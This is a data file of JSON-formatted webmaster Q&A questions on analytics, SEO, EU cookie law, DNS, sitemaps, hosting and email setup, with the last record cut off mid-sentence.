{"id":"68268","title":"In Google Analytics, how can I plot behavior over time (example: Session Duration)","text":"Is it possible to plot or graph \"Behavior\" over time? In particular Audience->Behavior->Engagement->Session Duration. I'd like to know if we're getting better or worse. So far I've found a way to compare two periods, but not to plot the trend."}
{"id":"13908","title":"Using dash in folder names and linking for image","text":"I have image folders where I use dashes in the name for example: \"images\/01-12-2011\/example.jpg\" When I insert this image into my html. Internet explorer(9) shows the image but Firefox and chrome doesn't show it. When I type it to the url: (blabla.com\/images\/01-12-2011\/example.jpg) then i can see the image. What could be the reason and the solution? thanks in advance"}
{"id":"35199","title":"PHP URL Rewrite engine for small project","text":"I use PHP. I want to setup a micro site as a prototype, where I can work with the frontend only, separated from any CMS. **URL Rewrite** I also want the URL rewrite to be correct, like `http:\/\/www.test.com\/products\/tables\/green\/little-wood123\/` **Question(s)** 1. Is there any free class for URL rewriting? I searched but found none. 2. If that is not the way to go, what framework is nice for this? It should be tiny, easy to use and support URL rewrite."}
{"id":"18104","title":"How to verify that someone owns a website?","text":"I'm trying to think of ways to, as securely as possible, verify that a user owns a website that they claim to own. Here are some ways I've seen: * Upload an obscurely-named HTML file to the root directory with given contents * Include a meta tag or other comment somewhere in the home page source * Send an email to an address `@domainwearetryingtovalidate.tld` with a verification link * Check a CNAME or TXT record * Check WHOIS records * Physically validate by calling or emailing the support line, manually updating records And here are the problems with those methods, in order: * Some website configurations may not allow for simply uploading a file to the root * Poor site design might allow a user of that site to add this meta tag themselves * Websites which provide email services make this useless; take `gmail.com` for example * That's too complex for most small website owners to figure out how to do * Those are public; anyone can claim to be whoever. Not to mention most often inaccurate. * Huuuuge waste of time Are there any other ways to verify that a user on your site owns a particular website? Of the methods I listed, which of these are best and worst? I ordered them from best to worst in my own opinion, but I'd like to see what others think as well. I plan on implementing one or more of these in PHP."}
{"id":"68507","title":"FF multiple instances on same host thinclients","text":"Im ICT manager at a primary school. Last year our school switched to one host\/server pc (Windows 2008 server) and thinclients. All thinclients are connected to the server\/host pc. I found out that it is not possible to start multiple instances of Firefox on the host under the same Windows user account. For example: if a user connects as \"group1\" by a thinclient to the host, and an other user uses the same login credentials from another thinclient, FF responds with \"Firefox is already active...\". I read some posts on internet regarding this subject. All are referring to Multifox -add-on. However, that is not what I'm looking for. Has anybody dealt with this issue? Anybody knows a managable workaround? Kind regards, Kees Epema"}
{"id":"18102","title":"How to embed my website videos in facebook via status","text":"I have a Joomla website having a lot of videos, I want to embed my videos in facebook by sharing via status update like you do when sharing youtube video. When you paste a link there facebook automatically extract the video and embed there. On my website I have videos but when I paste the link there on facebook it just treats it as a page not as a video. I want my videos to be playable there on facebook without redirecting to my website. Is there a way i can achieve this?"}
{"id":"19705","title":"Long lasting free web hosting","text":"I am looking a free web hosting site which is long lasting. It is because one of the free web hosting which I have been using, have shutdowned their free service. I am looking for some web hosting which is big enough so that it won't die easily or charge money after a period of time. It should support wordpress. It would be best to have python and php supported. Do you have any suggestion?"}
{"id":"55720","title":"Moved sitemaps to a different subdomain and losing search referrals around the same time. Red herring or correlation?","text":"We started to lose search referral traffic around the same time that I moved some of our sitemaps to a subdomain. Could this have hurt us? I followed Google's steps to creating a sitemap under a different subdomain. The new sitemaps.foo.com subdomain is being crawled and indexed well. Both www.foo.com and sitemaps.foo.com have been verified in Google Webmaster Tools. They appear as distinct sites. Is this correct? I can't find a way in Webmaster Tools to say \"Hey, sitemaps.foo.com is really owned by www.foo.com, so show them together and make sure to attribute sitemaps.foo urls to www.foo\" Our www.foo.com\/robots.txt Sitemap: http:\/\/www.foo.com\/sitemap.xml Sitemap: http:\/\/sitemaps.foo.com\/subdir\/sitemap.xml.gz"}
{"id":"54579","title":"CloudFlare DNS: Downtime failover host","text":"My company uses CloudFlare for its DNS, but as our site is HTTPS-secured and we're on the free plan, we can't utilize CloudFlare's CDN services. Our host has fairly rare but not insignificant downtime. We can't migrate servers just yet, and I'd like to be able to either have the main domain redirect to the status domain, or simply resolve to the alternative status host in the event of downtime so users will stop bugging me asking if the site is down. Is this possible to do automatically using the free CloudFlare plan, or will I have to manually edit my DNS every time the site goes down?"}
{"id":"5579","title":"What is the disadvantages of removing HTML tags before indexing?","text":"This is a silly question but i am bit confused. Can any explain What is the disadvantages of removing HTML tags before indexing the pages? Thanks in advance."}
{"id":"5577","title":"Overriding link action with ajax - SEO","text":"If I override default link href with onclick and ajax, for example link `<a href=\"\/mypage\">`, so onclick I load mypage through ajax, if javascript is disabled, or its a text browser or bot, I let go to \/mypage, is this good enough for SEO as having regulat \/mypage link with no javascript and ajax? What I want is to have same content as without ajax, but to load it via ajax for better user expirience. Wonder if that can be achieved with same SEO effect? I assume for google bot it will be the same, but this page \/mypage will not appear in analytics, no referers...maybe that is the weakness of this approach?"}
{"id":"55984","title":"Does YouTube videos embedded on my website consume my bandwidth?","text":"I will like to know if embedding YouTube videos on my website consumes my bandwidth when the videos are being viewed."}
{"id":"30099","title":"EU Cookie Law Clarification","text":"> **Possible Duplicate:** > Google Analytics and the EU cookie directive. Who will fall foul of the > law? Google or the developer? > Does the EU cookie law apply to an EU site that is hosted outside of the > EU? I have a legal entity registered in India. My sites are hosted in US. Bulk of my traffic is from Asia and US, though I get some traffic from EU countries. Do I have to worry about the new EU Cookie law? Is it applicable only to companies \/ webmasters from EU?"}
{"id":"31874","title":"How to offer a cookie opt in\/out to users?","text":"> **Possible Duplicate:** > Google Analytics and the EU cookie directive. Who will fall foul of the > law? Google or the developer? I intend to use google analyticts, and as I understand it I will need to offer users the option to opt out of cookies. The question is this: I HATE these constant cookie option boxes, everyone I ask it getting annoyed by them too. Its nice to have the option, but we all know they have been in use for well over a decade. So - how big of a deal do I have to make about the fact that I'm using GoogleAn? can I pop a small link at the bottom of the page, maybe integrate it into \"Privacy policies\" page, and give people the option to opt out there? This would be very much the \"Assume the majority of users don't mind, but at least make the option available\" stance. Ironically setting a cookie seems to be the only way I can see to enforce the opt-out! as IP's change."}
{"id":"30083","title":"EU Cookiee Law - Should I be worried?","text":"> **Possible Duplicate:** > Google Analytics and the EU cookie directive. Who will fall foul of the > law? Google or the developer? Given that the year-long \"grace period\" is up in a day or two, I'm trying to figure out if this law is... serious? It just seems -completely- ridiculous to me, but I'm not posting here to debate that. Given that 99% (probably more than 99%...) of UK websites I visit _are_ using cookies for tracking and other purposes, is this law really enforceable on such a large scale? I run 3-4 low traffic sites and only use cookie's set for\/by Google Analytics. I really dislike the idea of having to implement a plug-in or form of consent since it would degrade the user experience. Ironically, I would have usually stored whether or not the user wants to allow my site(s) to use cookie's by storing their option **in** a cookie. Should I be worried about complying with this new [outlandish] EU cookie law? Or am I 'small-fry' enough (low traffic sites, only using GA) to not be targeted by the authorities?"}
{"id":"29775","title":"Does the EU cookie law apply to an EU site that is hosted outside of the EU?","text":"I have been reading up about this EU cookie law, and have also had in depth conversations with my girlfriend who is a solicitor\/lawyer and with colleagues while building websites. While we are now working towards implementing a way to abide by the EU law, I have thought of something which no one really knows the answer to and has caused a few arguments. It's my understanding that any website in the EU must abide by these cookie laws, which is understandable. However, say if I were to have a .co.uk or .eu domain name pointing to a website which is hosted in America for example, do I still need to abide by the EU laws even though the website is hosted outside of the EU? One person I have asked has said that because the domain name is .co.uk or .eu (a European TLD) then the website is still accountable under EU law. Another person I have asked has said because the actual website is held outside of the EU, it doesn't actually have to bother with this law."}
{"id":"30079","title":"What is the maximum number of characters in the utm_content param in GA?","text":"For example, we want to differentiate people who followed our daily product email blast. I could use the product ID for utm_content, but it would be easier to read to use the SEO friendly URL path, such as: http:\/\/www.oursite.com\/products\/ **really-great-new-product** https:\/\/www.frugg.com\/? utm_source=a&utm_medium=b& utm_term=c& utm_content=Can-I-use-a-really-long-content-tag-like-this-one-or-is-this- going-to-break-something& utm_campaign=d"}
{"id":"35025","title":"AdWords test with two different agencies - can I track their results without them being aware of each other","text":"I am currently going through a process of testing two AdWords PPC providers at the same time from two separate AdWords accounts. However they will require access to my GA account for linking and eCommerce tracking. Which means that they will be able to see each others results. I don't want this; Is it possible to set up GA so that; * Company A only sees Adwords results associated to their AdWords management via GA * Company B only sees Adwords results associated to their AdWords management via GA And each company never sees the other company's Adwords results?"}
{"id":"31304","title":"Joomla 1.5.26 won't let me insert html","text":"I am using the following code to try to embed chat in to an article in Joomla 1.5.26: `<iframe src=\"http:\/\/xxxxxxx.com\/welcome\/visichat\/\" width=\"100%\" height=\"550px\" frameborder=\"0\" scrolling=\"no\"><\/iframe>` Whenever I hit save, the code disappears. Actually, it seems that any html code I try to save disappears. I am trying with the toggle editor tab and the insert html button. Does anyone know why Joomla won't let me embed html? I am trying to get the chat to load with the site navigation still in place. I'd also be interested in hearing other ways to accomplish this."}
{"id":"14472","title":"Why is the EU cookie directive causing so much excitement?","text":"I am confused by all the excitement surrounding the EU cookie directive; why is it such a painful thing? As far as I can see cookies that are required for your site to function are allowed such as shopping carts and site logins. Am I missing something here? The original HTTP specification was designed to work in a stateless way so to my mind this is a stepping stone in the right direction towards stateless RESTful websites. Why should state be added to the process when it is not needed. There is plenty of mileage left in Digest Auth etc so why is everyone worried? An obvious answer might be that Google Analytics needs to set cookies to be able to track traffic. There is a somewhat unsatisfactory answer to this point: http:\/\/cookies.dev.wolf-software.com So have I missed something that I should be panicking about? What has you worried about it?"}
{"id":"35376","title":"Is there such a thing as a Google Result Set simulator?","text":"I am always making tweaks to my site, be it in the .htaccess file, some new SEO plugin, different types of content or whatever. For all these changes, I would really like to be able test it immediately and see if the change had any positive or negative effect. I am just wondering if there was some way of doing immediate testing using some simulator instead of having to wait for Google to discover and index it - which could take a long time."}
{"id":"30459","title":"Keyword research tool","text":"> **Possible Duplicate:** > What are some great tools to use for keyword research? In the past I've always chosen which keywords \/ phrases to go after by checking the traffic in the keyword tool, checking the competition for those keywords, their backlinks and PR and then by reading though all that and going on gut instinct. I know SEOMoz has some functionality for this but are there any alternatives you could recommend ?"}
{"id":"337","title":"How can we determine how much to spend on advertising our site?","text":"We're considering pay-per-click advertising to bring traffic to our website. How should we go about determining how much to budget? Any other considerations we should be aware of?"}
{"id":"330","title":"Can anyone recommend a good HTML 5 book?","text":"Specifically about canvas. I have been looking around for a few good one."}
{"id":"19707","title":"Decoding an encrypted HTML file using Javascript","text":"I am trying to decrypt the encrypted page source of an HTML file. I am searching for a decoding trick to decrypt a page containing Facebook interface UI. It is in the following post decrypted facebook UI page. The demo page of that post is encrypted. Is there any possible way to decrypt it?"}
{"id":"27514","title":"DNS provider for unlimited subdomains with api access?","text":"I have a project in mind that will offer users their own domain, like tumblr does for example. I want to find a provider that can provide: * One top domain. eg: myproject.com * Unlimited subdomains. eg: a.myproject.com, b.myproject.com, ... * An API to create subdomains automatically * At a reasonable price (if possible)."}
{"id":"58161","title":"Custom Sitemap or sitemap generator tool","text":"I have recently launched a website which is using a free sitemap generator. It's a large travel agency site with predominantly dynamically generated content - users can add their products as and when and be listed automatically. The guy doing the programming for the site says the sitemap generator is not up to the job and that I should be ranking far better for certain search terms than the site is now. He reckons it doesn't provide lastmod info and the sitemap should be submitted every time a new directory is added or change made. He seems to think that I need to spend £400-£500 for him to custom build a site map. Surely there's a cheaper option out there for a sitemap that can be generated daily or 'ping' Google every-time an addition to the site is made or product added? Sorry for the non tech speak - I've got my web designer telling one thing and the programmer another so I'm just left trawling through Q&As."}
{"id":"32979","title":"Google Analytics is not tracking all of our pages","text":"Our website is insynchq.com. In the All Pages report under Content -> Site Content we can only see data for some our pages, like \/, \/getstarted, and \/download. Others, like \/gmail, \/about, and \/mobile are not shown, even if we are sure that there have been visits to them. We use a template for our pages so the scripts that are loaded for \/ (for example) should also be loaded for \/gmail, so it doesn't seem to be a problem with the installation of the tracking code. Can anyone help? Thanks."}
{"id":"48993","title":"Using one IP for Nameserver like NS1 and NS2","text":"Please I like to know why I can't use my one IP on my nameserver like: ns1.mydomain.com = 67.111.78.12 ns2.mydomain.com = (but the IP could be assigned here)"}
{"id":"32975","title":"Why is honest cloaking for Ajax considered bad practice?","text":"Ajax-only websites are laden with many problems. Search engine invisibility is merely a small problem. They are also unbookmarkable and unlinkable and they break the functionality of back- and forward-buttons without hacks. Fundamentally, they are not how the web is supposed to work. Even so, Ajax is indispensable to the user experience and Ajax-only applications are cleaner than hybrids in both code and logical structure, more powerful, and more extensible. I can think of three solutions: * **Cloaking.** While cloaking typically bears the connotation of spamdexing a page with irrelevant keywords served only to a crawler, I mean serving a no-script user agent a stripped-down HTML file with exactly the same content that an Ajax client would load asynchronously (including the same hyperlinks), but without the fancy UI. It's intended for obsolete browsers as an alternative to progressive enhancement, not just for crawlability. _Rationale:_ it doesn't waste no-script users' bandwidth with script tags or script-enabled users' bandwidth with noscript content that will be loaded anyways in JSON format. _Drawback_ : it raises a false flag of search engine ranking manipulation, of which search engines are apparently hypervigilant. It is also difficult (at best) to recognize all potential user agents and differentiate correctly between those that execute scripts and those that don't. * **Hash-bang fragment identifiers.** _Rationale_ : It doesn't appear deceitful to Google. _Drawback_ : it is an absolutely backwards hack that violates the W3C's standard (by using illegal URLs) in favor of a trick invented by a third party. URLs are no longer Uniform **Resource** Locators; they are pointers to application entry points plus macros that Google and modern browsers luckily follow. This technique does nothing for true no-script browsers and it breaks any technology that follows the W3C more strictly. * **Progressive enhancement.** _Rationale_ : this is championed as the way to use Ajax while adhering to the original vision of the web. It lets user agents with different capabilities act differently toward the same resource, and a hypervigilant client doesn't think it's being deceived. _Drawback_ : it wastes bandwidth with script tags at best and redundant content in noscript tags at worst, defeating part of the purpose of Ajax. If not for search engine hypervigilance, I would consider cloaking to be the best solution, although it would be much easier if clients would merely send an HTTP header (or lack thereof) indicating if they will execute scripts. Is it really that bad of a practice? Is there a way to prevent false flags of search engine manipulation? Or am I too paranoid of false flags in the first place?"}
{"id":"32976","title":"CSS Sprites: Are they worth the trouble?","text":"I can't help but wonder whether CSS sprites are very much over-used. First of all, if I stick all my images in a single file it makes an aweful lot of empty space. I know, that shouldn't make an image file too much bigger, but _sprite.png_ by itself is generally going to be bigger than ( _small1.png_ + _small2.png_ ... + _[http headers for all those individual connections]_ ). Second, any individual image attributes that might make an image file inherently small or compressible are lost on _sprite.png_. For example, a grayscale image stuck in a not-grayscale _sprite.png_ is no longer grayscale. Third, all those CSS blocks add up. If the following is all you have to add to your old fashioned `<img src=small1.png>` to turn it into a sprite... #small1 { background:url(sprite.png) n n; height:n; width:n; } id=small1 height=n width=n ...then 12 sprites equals 1KB (and change) in extra payload - above and beyond the images themselves. Before you say \"big deal!\", remember we are talking about small sprite-able images here, and 1KB _is_ significant, relatively speaking. Also, CSS can sneak up on you. Actually that's my post in a nut-shell: Isn't this \"optimization\" kind of silly? I'm not saying sprites should not be used. I just think there has got to be more to it than \"one request is always better than many\". Especially when you've got HTTP Keepalive and a well-optimized web server and file system. And all things considered, what is the point in focusing on such mundane detail, while there are surely much bigger in-efficiencies to nit-pick about in any web application?"}
{"id":"19057","title":"Display flickr widget in website","text":"I'd like to display some photos with flickr on my website which could change dynamically <iframe align=center src=http:\/\/www.flickr.com\/slideShow\/index.gne?user_id=my_id&tags=Grenoble frameBorder=0 width=500 scrolling=no height=500><\/iframe> In this example my tag is Grenoble (a city). What I'd like is to be able do change that tag (to New York or Chicago for example) even if I don't have pictures with this tag. (The aim of this is to display photos according to a city variable)."}
{"id":"25905","title":"Run server-side script as authenticated user in apache--is it possible?","text":"I'm developing a web app that takes a bunch of parameters (dropdown boxes, etc) from an authenticated user, creates a file, then delivers that file via stdin to a program on my web server. Due to some limitations of the server-side program, I'd like to have Apache run that server-side program as the previously authenticated user rather than as the generic apache user. So for example, if user foo logs in (using mod_authz_ldap on the backend), and fills out the form, the form should then execute the command on the server as user foo rather than user apache. Is this possible?"}
{"id":"22413","title":"How does Google's Traffic Estimator calculates the \"Estimated Avg. CPC\"?","text":"> **Possible Duplicate:** > How does Google's Traffic Estimator calculate the \"Estimated Avg. CPC\"? I use Google's Traffic Estimator to calculate the Estimated Average Cost Per Click. I use the following filters: Locations: Australia Languages: English and the following phrase `air conditioner melbourne`. When I use `Max CPC = $100`, the result is: `AU$6.08`. But, when I use `Max CPC = $10`, the result is: `AU$3.87`. Why is this difference?"}
{"id":"25901","title":"Are there any legal implications to reading a user's privates messages on a forum?","text":"I'm the webmaster of a forum and we are having trouble with a user and we suspect he uses privates messages to do illegal business (not illicit, but illegal according to the forum rules). Are their any legal implications to reading the privates messages of that user in order for us to get proof that he is indeed doing business against our rules? The server is located in Quebec, Canada."}
{"id":"61702","title":"URL rewrite - Cross domain javascript","text":"I have a site `site.domain1.com` that needs to launch content from another domain - `content.domain2.com` but I encounter cross-domain JS issues when doing this directly. I basically need to make `site.domain1.com` think that the content from `domain2` is actually from `domain1.com`. I have read that URL rewrite in IIS7 may be the answer, can this be done?"}
{"id":"25307","title":"Implications of syndicating content to a company blog from a personal blog","text":"Several co-workers and I are authors on our company's blog, and we each also have our own personal website blogs. In an effort to promote our company blog, we are considering syndicating the posts from our personal blogs to the company blog. For example, when I post on my blog `mysite.com\/blog\/post-xyz` it'll syndicate to and appear on `thecompany.com\/blog\/post-xyz` as well. **What are the SEO implications of doing this?** _This must be a win-win scenario_. We want to see the company blog improve because it'll have more content, but we don't want to hurt the individual personal blogs either. > If you syndicate your content on other sites, Google will always show the > version we think is most appropriate for users in each given search, which > may or may not be the version you'd prefer. However, it is helpful to ensure > that each site on which your content is syndicated includes a link back to > your original article. - Google This is basically what we are going for. I would expect that the search result version may end up being the company blog in many cases, which would be the drawback to the individual, but I'm hoping the increased back links would simultaneously help support the individuals own website SEO value. This is syndication in its purest, most honest form, so I'd like to think it would be a beneficial thing to do, but I really don't know. Could it hurt?"}
{"id":"25302","title":"Can a video uploader block ads if he\/she does not own all content?","text":"If my video contains a musical recording and the owner of the recording master rights authorizes YouTube to place ads on the video, do I have the right \/ capability to prevent ads from being displayed?"}
{"id":"30301","title":"apache rewriting url doesn't work(using godaddy hosting)","text":"I'm using a framework to create my website(codeigniter) by default the urls are like this:`mysite.com\/index.php?\/etc\/etc\/etc`. And I'm trying to remove the `index.php?`, I tried to remove it by doing this(didn't work): RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ \/index.php?$1 [L] Note: it's working on my localhost(when putting my website's files in the root directiory). So, Is this issue associated with me or the hosting company(Go Daddy)?"}
{"id":"28235","title":"Google won't display site","text":"My website (http:\/\/markasoftware.getenjoyment.net) doesn't seem to be indexed properly by Google (I haven't tried other search engines). When I type in the URL of my site it appears right at the top of the list like it should. When I type in the entire contents of the title, however, the site doesn't appear! The title is quite long > Thermonuclear War Game Online: Thermonuclear War By Mark and it has little (if any) competition. Have I been punished by Google for some reason, or is it something else? I have received zero hits from search engines. Can someone tell me why my site doesn't appear?"}
{"id":"60731","title":"How to collect data to start a business directory website","text":"I am working on creating a business directory (like yelp.com). The problem I faced is how to collect data about businesses to start. The information we need are (business name, categories, phone number, address, photos, products\/services, reviews ....) Do I have to : - Buy data from a governmental sources. - Recruit employees that go to business owners. - Start with an empty database."}
{"id":"55605","title":"Affiliate backlinks with 301 redirect not displaying in Webmaster Tools","text":"I have an affiliate program that is hosted on a different site and server. It is an eCommerce site that accepts payments for my products. So all my affiliate links are pointing to this eCommerce site and then subsequently 301 redirected to my site. The route is \"link->eCommerce->301->my site\". I read that it's okay for ranking and Google considers this as a backlink to my site (correct me if I am wrong). However I don't see these links in my Google Webmaster Tools account and that's what I am concerned about. I can see other (direct) links, but not these with redirect. Maybe it is because I added my site to WMT only about 20 days ago? When I test affiliate links with HttpFox I see that eCommerce site also does some POSTs to `ocsp.verisign.com` while redirecting to my site. Not sure if this can be a problem?"}
{"id":"65287","title":"See individual Google Shopping products performances in Analytics","text":"I'm running a Google Shopping for search campaign in Adwords. So the products are pulled in from my merchant center and displayed with a picture in the SERPs. In Google Analytics or Adwords I can not distinguish the performance of individual products. Both Adwords and Analytics shows only cpc and conversion numbers for the whole campaign. I would like to see which products perform well and which don't."}
{"id":"65288","title":".org pendingDelete release at what time of day","text":"Is there a particular time of day **.org** domains release? I've read on multiple forums\/articles claiming different times, and even worse, all of the conversions of **GMT to ET\/PT** were all incorrect as well. So now, I'm a bit baffled at what the correct time is in GMT\/PDT for time of day the .org is officially deleted from the registry. Can anyone comment?"}
{"id":"39135","title":"Googlebot fetches my pages very frequent, rel-nofollow, meta-noindex or robots.txt-disallow","text":"Googlebot fetches pages in my site very frequently. And this slowens my website. I don't want Googlebot to crawl too frequent. I decreased crawl rate from Google webmaster tools. But I'm supposing to use these three tools: * Adding rel=\"nofollow\" to my inner pages. So Googlebot won't crawl and index them. * Adding meta tag \"noindex\" so Google will remove this page from index and won't get it again. * Adding Disallow: \/mySomeFolder\/ to robots.txt and Googlebot won't crawl that pages. I'm planning to use these methods for my 56.000 pages, except the most important 6-7 pages. Which method would you prefer and what would be disadvantages or advantages ? Or won't it change my website speed etc.."}
{"id":"39134","title":"Sitemaps - do I need to submit each sitemap in sitemap_index.xml to Google Webmaster tools?","text":"I am having a Wordpress blog on my CentOS server. There is no sitemap.xml in the root directory but there is `sitemap_index.xml` file in the root directory which contains the following code: <?xml-stylesheet type=\"text\/xsl\" href=\"http:\/\/mywebsite.com\/wp-content\/plugins\/wordpress-seo\/css\/xml-sitemap-xsl.php\"?> <sitemapindex xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\"> <sitemap> <loc> http:\/\/mywebsite.com\/post-sitemap.xml <\/loc> <lastmod> 2012-12-18T19:47:47+00:00 <\/lastmod> <\/sitemap> <sitemap> <loc> http:\/\/mywebsite.com\/page-sitemap.xml <\/loc> <lastmod> 2012-12-18T17:32:49+00:00 <\/lastmod> <\/sitemap> <\/sitemapindex> **My question:** Which sitemap should I submit to Google Webmasters Tools? Options are: 1. Only `sitemap_index.xml` 2. Only `post-sitemap.xml` and `page-sitemap.xml` 3. All 3 (sitemap_index.xml, post-sitemap.xml and page-sitemap.xml) 4. Any other, please let me know."}
{"id":"39130","title":"Custom per domain CSS in Internet Explorer","text":"We have an old web app, which would be much more usable if it could be visually tweaked a bit. Being in a corporate environment - IE (always using the latest version) is all I can use. Also app in question being 3rd-party - there's no way to change it's own CSS files. Is there a way to use per domain injected custom CSS in internet Explorer. Let's say I want to change the background-color of domain http:\/\/oldapp.localintranet\/ - is there any way to make this happen? * Place to put a custom.css-file? * With an add-on\/extension?"}
{"id":"59972","title":"With Google Analytics, is it possible to check a specific page in Multi-Channel conversion attribution?","text":"I'm somewhat new to Google Analytics, and I'm trying to track all conversions that are assisted by a particular landing page, because I don't expect an instant purchase. I have e-commerce tracking set up. Due to the constraints of the associated ad campaign, I can't include the source\/medium code in the url when people go to the landing page, and all of my traffic to the landing page is likely to be direct, so I'm not sure how to tell Multi-Channel marketing that it's a significant page. I know how to add events to a page, but I'm still figuring out what they can and cannot do. Would creating a redirect from the landing url to an identical url+source\/medium code work? Any advice on how to accomplish this would be greatly appreciated. Tracking the final sale conversion is not the issue. Ecommerce reporting is functioning just fine on the site. I just want to report the landing page as an assist, whenever it shows up in the funnel, and I need to be able to do that across multiple visits."}
{"id":"28489","title":"Using Google analytics to show online users?","text":"I am wondering whether it is possible to use Google Analytics stats to extract number of online users, something like whos.amung.us? If not, what alternative outsourced solutions are available?"}
{"id":"37755","title":"using blank image to improve post value","text":"I have seen people (including popular digital agencies) using 1 x 1px transparent image, so that they can add page title as alt value. Does that really increases the value of a web page or that's a spam in search engine's eyes?"}
{"id":"58989","title":"Any reason not to buy SSL certificates from a reseller?","text":"Is there any reason to buy an SSL certificate directly from the host (for $49, for example), instead of through a well-known reseller, for only $10.95? Specifically in my case, I just need to encrypt user data as they fill out forms. Nothing too critical, only usernames and passwords. I don't think my users actually care about the brand name or \"trust\" level behind the certificate, I'm just looking out for them."}
{"id":"42462","title":"Will Google's decision to encrypt all searches from Chrome mean that we lose all keyword data in Google Analytics?","text":"### Context. At the end of 2011 Google announced that they would start encrypting searches for logged in users. > What does this mean for sites that receive clicks from Google search > results? When you search from Google, websites you visit from our organic > search listings will still know that you came from Google, but won't receive > information about each individual query. _Reference :Making search more secure, October 18, 2011._ This had the effect of blocking Google Analytics from capturing any keyword data from queries resulting from an encrypted organic search on Google. This resulted in the '(not provided)' keyword being shown in place of the actual query. Fast forward to the present day - Google have just announced that all search queries from Google Chrome will be sent over SSL. > Today, when users are signed in to Google, Chrome sends their searches from > the Chrome address bar (“omnibox”) over Secure Sockets Layer (SSL). Starting > with Chrome 25 (currently in the Dev and Beta channels), we’re doing the > same thing for Chrome omnibox searches performed by users who aren’t signed > in to Google. _Reference :Google Search in Chrome gets more secure, January 18, 2013._ ### Question. Assuming these change progress out of development -- Would this mean that we will not be able to see any organic keyword data resulting from searches from Google in the Chrome browser in Google Analytics?"}
{"id":"16628","title":"How to cross-link multiple sites with duplicate content that is search engine friendly?","text":"I am in the scenario where I have my content duplicated over multiple cross domains. I don't want to get penalized for my original site by Google for it. So what is the best option to avoid this. I came to know about the cross linking i.e giving link of my original article at the last of republished articles, is this okay? Is there any standard format of linking like.. Cross posted from: http:\/\/myoriginalsite.com\/myarticle Referenced: http:\/\/myoriginalsite.com\/myarticle Original article: http:\/\/myoriginalsite.com\/myarticle Which of above will be good?"}
{"id":"16195","title":"wget not respecting my robots.txt. Is there an interceptor?","text":"I have a website where I post csv files as a free service. Recently I have noticed that wget and libwww have been scraping pretty hard and I was wondering how to circumvent that even if only a little. I have implemented a robots.txt policy. I posted it below.. User-agent: wget Disallow: \/ User-agent: libwww Disallow: \/ User-agent: * Disallow: \/ Issuing a wget from my totally independent ubuntu box shows that wget against my server just doesn't seem to work like so.... http:\/\/myserver.com\/file.csv Anyway I don't mind people just grabbing the info, I just want to implement some sort of flood control, like a wrapper or an interceptor. Does anyone have a thought about this or could point me in the direction of a resource. I realize that it might not even be possible. Just after some ideas. Janie"}
{"id":"16624","title":"Ad software to rotate text links?","text":"I am currently using OpenX to rotate text links but I don't think search engines can spider these links. What software can I use to do this?"}
{"id":"32350","title":"Backlink question - google viewer","text":"I have documents (.pdfs) that I'm planning to post on a site using the google docs viewer. I think others may wish to embed the same documents on their sites since the documents will be updated, timely, and newsworthy. I'm providing an easy embed code for people to copy and paste (like Scribd does). The embed code looks something like this: <iframe src = \"http:\/\/docs.google.com\/gview?url=http:\/\/www.mysite.com\/downloads\/theDocument.pdf&embedded=true\" style=\"width:100%; height:850px;\" frameborder=\"0\"><\/iframe> How would Google 'crawl' this code if its posted on another site? Would google credit me a backlink from another site even though my site url is sort of buried in the code above? Anybody have experience with this? I could always just use an iframe or embed code directly to the document and skip the google docs viewer, but I figure people will find it more trustworthy and it's certain to fit all browsers and devices. Let me know if you have a better alternative."}
{"id":"54713","title":"Alternative for Subdomains","text":"I have a company and website like www.example.com We have 1 industry with product 1 ,product 2 and another industry with product 3 and product 4 . All these products are different to each other my questions is like should have subdomains like www.industry1.example.com or www.example.com\/industry1 If it is industry1.example.com it might sense different domain , if it is example.com\/industry1 the number of folders might increase Please suggest a best solution for this thanks, Raj"}
{"id":"6105","title":"CVV Code For Authorize.com using osCommerce","text":"Hi I need to add a CVV code for verifying credit cards upon check out on my osCommerece shopping cart. I think this will involve a code for the authorize.net php and the checkout processing php but not sure. Found this great write up, but it is only for the authorize.net php and it doesn't create a filed for the CVV to be keyed. Also it throws an error with the 'echo validate.' Can't seem to find anything in any forums for osCommerce or any place out. Hoping someone here will have some knowledge. Thanks."}
{"id":"12755","title":"Is this valid Google Review Microformat?","text":"I've applied some HTML around my aggregate review, I just wondered if anyone could tell me if it is valid (even though the Google test tool says it is) and that non of the extra HTML or style affects it being able to be read by Google: <div class=\"hreview-aggregate\"> <div class=\"item\"> <h2 class=\"n\"><span class=\"fn org\">Chinese Takeaway<\/span><\/h2> <\/div> <div class=\"type\">Eat & Drink - Chinese Takeaway<\/div> <div id=\"rating-container\"> <span class=\"rating\"> <img src=\"\/img\/star-4.png\" \/> <span class=\"average\">4<\/span> <\/span> based on <span class=\"votes count\">1<\/span> rating. <\/div> <\/div>"}
{"id":"56378","title":"One Gmail INBOX: E-mail forwarding OR fetching via POP3 from other accounts?","text":"I maintain a few small web projects (2-3 people) where the scenario is usually the same: 1. The project has its own domain ( **example.com** ) 2. There is a need to setup one or two personal e-mail addreses ( **peter@example.com** ) 3. One common group e-mail address is also needed ( **support@example.com** ) 4. Every person with a personal e-mail address from bullet 2 needs to be able to receive e-mails from **support@example.com**. 5. Also needs to be able to **reply** to those messages as peter@example.com and also as support@example.com 6. Every person has their **OWN** personal **e-mail address** at **Gmail** \/other domain running on Google Apps which he regularly checks and he would like to be able to easily read e-mails related to the **@example.com** at their own e-mail address, because it won't be effective to check more e-mail accounts separately = ONE INBOX, but the e-mails needs to be categorized (Gmail labels or so) 7. The project are on a shared hosting and are not as big to invest any money into running Google Apps on each of those. I came with two possible solutions to this: ### 1. POP3 fetching * * * * Setup each e-mail address separately on a mail server related to domain hosting * Instruct every person to use their Gmail POP3 fetching ability to fetch those e-mails to their personal account and to automatically label fetched messages with the project name. * Setup SMTP send as Gmail feature at every person OWN e-mail address so they will be able to send e-mails from @example.com domain **+** if a person no longer works on the project, I can just set up fetching on someone elses account and all PAST messages from domain-hosting-mail-server will be fetched to his account **-** Every e-mail takes double space - at domain hosting and also at the persons OWN e-mail address **-** Person's OWN mail provider has to be able to fetch e-mails (but the major one like Gmail is) **-** I need to check for mail storage quotas every once in a while, so the e-mail accounts at domain-hosting are not full and the e-mail are not coming anymore **-** Google POP3 fetcher checks the other e-mail accounts just once an hour which can mean a difference dealing with some crisis. EDIT: I just found that when sending e-mails from OWN gmail address even through **@example.com** SMTP server the e-mails are not saved at the corresponding domain outbox (they 